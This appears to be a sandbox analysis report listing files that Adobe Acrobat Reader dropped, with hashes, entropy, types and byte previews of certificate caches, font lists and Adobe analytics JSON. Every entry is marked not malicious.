SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklWzYpkN/ltfllXlE/HT8k2zlltNNX8RolJuRdxLlGB9lQRYwpDdt:kKPMpEteT8bJdNMa8RdWBwRd
MD5:	BE5B68DE2C91A8744FC408387C43CCC7
SHA1:	0B1DB7307AF3995F9191F9535CD8DD41C485E7CF
SHA-256:	700B727C59DE06E26F64E5AD656AB6906E133BD6B3E88ED0062D5A47D9F36A02
SHA-512:	857BD66504786BBC53F2FE20AA84E2229CD8F74497B892FCFBFDEFDC8FFF2E74332B9924A10B3D8A0A70205314F9D61D0DD525B68C91E754DFB3D22AE0C480B0
Malicious:	false
Preview:	p...... .........$...c..(....................................................... ..........W.....Y..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.236892865807448
Encrypted:	false
SSDEEP:	6:kKTGDL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:ryiDImsLNkPlE99SNxAhUe/3
MD5:	BF246323BC14E1AA28F627903B20FEC1
SHA1:	7DCEF4BB5EE0C3E5456B0EF324F3B7559CEF6094
SHA-256:	F5B0AF30F9465A012838F5F1AF565F3601E0622FB66825F56632594F9067790E
SHA-512:	AA4212459E03099A8A7F59BEB8E698CC39755015CEA462952A113E8C7A325E4C573949041F66DC2124F69EE9F03628C03BB84574A16238E5DA94593E15CFC999
Malicious:	false
Preview:	p...... .........%..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7296

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7296

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.374362427030408
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPUkPBeplMUib5Glvp0YV5qoAvJM3g98kUwPeUkwRe9:YvXKXX5epuUitoTZGMbLUkee9
MD5:	AB43218C0E42C691339BF163C1FA1A44
SHA1:	020DDE064FA497E8EDB384273B88DA8A3ADBB555
SHA-256:	AAA177CA0BC21EDF9E155B1BA00376EC7B8B70C8FD9FE5AA9BA3E4187951C1B1
SHA-512:	B0337219A3F586EC3BEBF57CDCD4013E48E68C81F502E9E0AD32F59F8F27D2D3A476B56E992EDE108548D7368BBA5D86B11BBC53D935A02F4DF9595FC370A374
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"81ed7904-740b-4edf-b91a-fa207d9b6980","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736749826811,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.3199705802348
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPUkPBeplMUib5Glvp0YV5qoAvJfBoTfXpnrPeUkwRe9:YvXKXX5epuUitoTZGWTfXcUkee9
MD5:	D5A1F2B87B95BDA2D1F8360EC64BB7D9
SHA1:	5B39AD1A84F5D39C93E9639085853AB225DCEA3C
SHA-256:	22B5B31531381B99B82C2CD4987ED70827158A4DF530BD1E307D5ECD731D47EA
SHA-512:	CEBB598EFF7C4A69A88F5B71BB2D3191E785BE7E3B13EFEE38C237E09F3A5C242773CDC4B5D2019B0AAFAD2495240D4C7D4036FEC9AC266B9118F2715490E434
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"81ed7904-740b-4edf-b91a-fa207d9b6980","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736749826811,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.299457149372203
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPUkPBeplMUib5Glvp0YV5qoAvJfBD2G6UpnrPeUkwRe9:YvXKXX5epuUitoTZGR22cUkee9
MD5:	19DD2014A61CF43E619EC484F3AABDD9
SHA1:	37D913F7A079C5149FC14F9A97B15B206D55C1B3
SHA-256:	2257FBBABB61DEC2F1026196D57B2AA8B4F1EF33FBF34B769EEED9F5D90972F5
SHA-512:	E31EF042650291E1F9DE4D315E6E2CEC9CA38003865C3E738AD4FAA207D9122B13FE737E48EA6CFAF41D25635AC1723E3EB6556B64E49E0686159DD90B687B68
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"81ed7904-740b-4edf-b91a-fa207d9b6980","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736749826811,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.365426869943984
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPUkPBeplMUib5Glvp0YV5qoAvJfPmwrPeUkwRe9:YvXKXX5epuUitoTZGH56Ukee9
MD5:	0CCFF071554239B24961DEAF76239871
SHA1:	E90809361A37E3CAF6B65ED8C5DC0DB4B1619D6B
SHA-256:	708898EE81F2413CA1917C4A188F4D09189A58CBF5C1CA92612CAE75D17E8307
SHA-512:	84109507314712E6DAF0A3440E10FC96E31A53CD025CE1F54FB20C8BF706B21D45037746AB93CCA25B44F6D9C809503B21E2229B58F289EA45DC4DDB35FCA135
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"81ed7904-740b-4edf-b91a-fa207d9b6980","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736749826811,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.692732753135208
Encrypted:	false
SSDEEP:	24:Yv6XXy26T+pLgE9cQx8LennAvzBvkn0RCmK8czOCCS2:YvMy26T+hgy6SAFv5Ah8cv/2
MD5:	232849E1BD85EB51167A1A1B88C69942
SHA1:	0F5090DB3A32B73CB0776D750E779EDF9E7DAB42
SHA-256:	37C9BEA66C6A5D0C13C60637BF65F57394C314017CA4636E589FCECF885E8D87
SHA-512:	B8E1C250840BDDDF7B40E8F0B64C4884D73D00D25DC69A6768A5BF79DBDA4AAFBF39734A9CA53D83F927A2B05A2F02D006D26FE8FE2446D8D6A8980CAABE3815
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"81ed7904-740b-4edf-b91a-fa207d9b6980","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736749826811,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.311707693055051
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPUkPBeplMUib5Glvp0YV5qoAvJf8dPeUkwRe9:YvXKXX5epuUitoTZGU8Ukee9
MD5:	3D0F34D6E210EF506B7856BB938BFFD3
SHA1:	7DBF86643A513E0183C8A053762BEAF048D30670
SHA-256:	52D022FB86F502F1BFF73BBCED68B9B7BD7C23718C05FA87475C2CAB9689FB44
SHA-512:	C4E1C05F83B4ED1F0EBD2844F42D543F5085CECE3C091FE21E557E85A31020EDC96C70ED5701C6E7024739A9C491CA85235DBF102A955B137861A8030DF3C70A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"81ed7904-740b-4edf-b91a-fa207d9b6980","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736749826811,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.312560807955283
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPUkPBeplMUib5Glvp0YV5qoAvJfQ1rPeUkwRe9:YvXKXX5epuUitoTZGY16Ukee9
MD5:	7FB087A83AE82B246C388CF3C0842A3C
SHA1:	2C1D8E2F91C5540B1908894E074C58EEC06F0529
SHA-256:	020CF082FB2966E3CABF839108A3AEA0223D2F40C93D08157688C0D3DE26DA87
SHA-512:	2FAEF8E2BEB68C128A3E1C2980048555295C70FE86C608A12111B916284F3DF8E32FD732781B387CC1842198C62813CFF8642A88FB246D9242A8E695835373AC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"81ed7904-740b-4edf-b91a-fa207d9b6980","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736749826811,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3191190236060875
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPUkPBeplMUib5Glvp0YV5qoAvJfFldPeUkwRe9:YvXKXX5epuUitoTZGz8Ukee9
MD5:	6AFDD5001C67479F16443E8D29E10DFF
SHA1:	FBEA7178F4FC907C5D0C65ABC41FE6250D016A7C
SHA-256:	E273C1B91B1C1FB2ECA74378EB19A92FD927F526723346AF0723EC6482B63256
SHA-512:	5F328BC9AF7C7F253B57C3D62C7767EA1704FD27A6687C760534FA482DD1B3888A048081ECAB7D1B3597FE9213CF28F059D93CA458FD37C76CE6A89DD18A6012
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"81ed7904-740b-4edf-b91a-fa207d9b6980","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736749826811,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3359543331736194
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPUkPBeplMUib5Glvp0YV5qoAvJfzdPeUkwRe9:YvXKXX5epuUitoTZGb8Ukee9
MD5:	433153BB1CFEF575DEC5D07AC7DB515F
SHA1:	69B14D27FA14512B64DB5E1BF400C536122F9055
SHA-256:	F9A519A040B0A57455C81A0594F332C48F56BE120F9E4586FCCE735B4E635A3C
SHA-512:	0E506BD327D2685083CB73019E347AE041C9762F2ECAD19E77598AAA2DD0F1981243E6D21F33856AFD5510DEC609E655DC480F596F17B3C9D99111272E82F20A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"81ed7904-740b-4edf-b91a-fa207d9b6980","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736749826811,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.316942519800354
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPUkPBeplMUib5Glvp0YV5qoAvJfYdPeUkwRe9:YvXKXX5epuUitoTZGg8Ukee9
MD5:	45A1D8B48913ADD5B6D0534724DEF18A
SHA1:	415FF1C02A35AC51F0C768F0C3B22006AD26FAF5
SHA-256:	D925D041F3A5CC3E8EF743F244F366C394EB32FA163EF1A8655B58BCFA382551
